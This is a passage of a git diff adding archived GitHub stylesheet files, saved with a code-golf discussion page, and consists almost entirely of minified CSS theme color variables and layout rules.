selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: 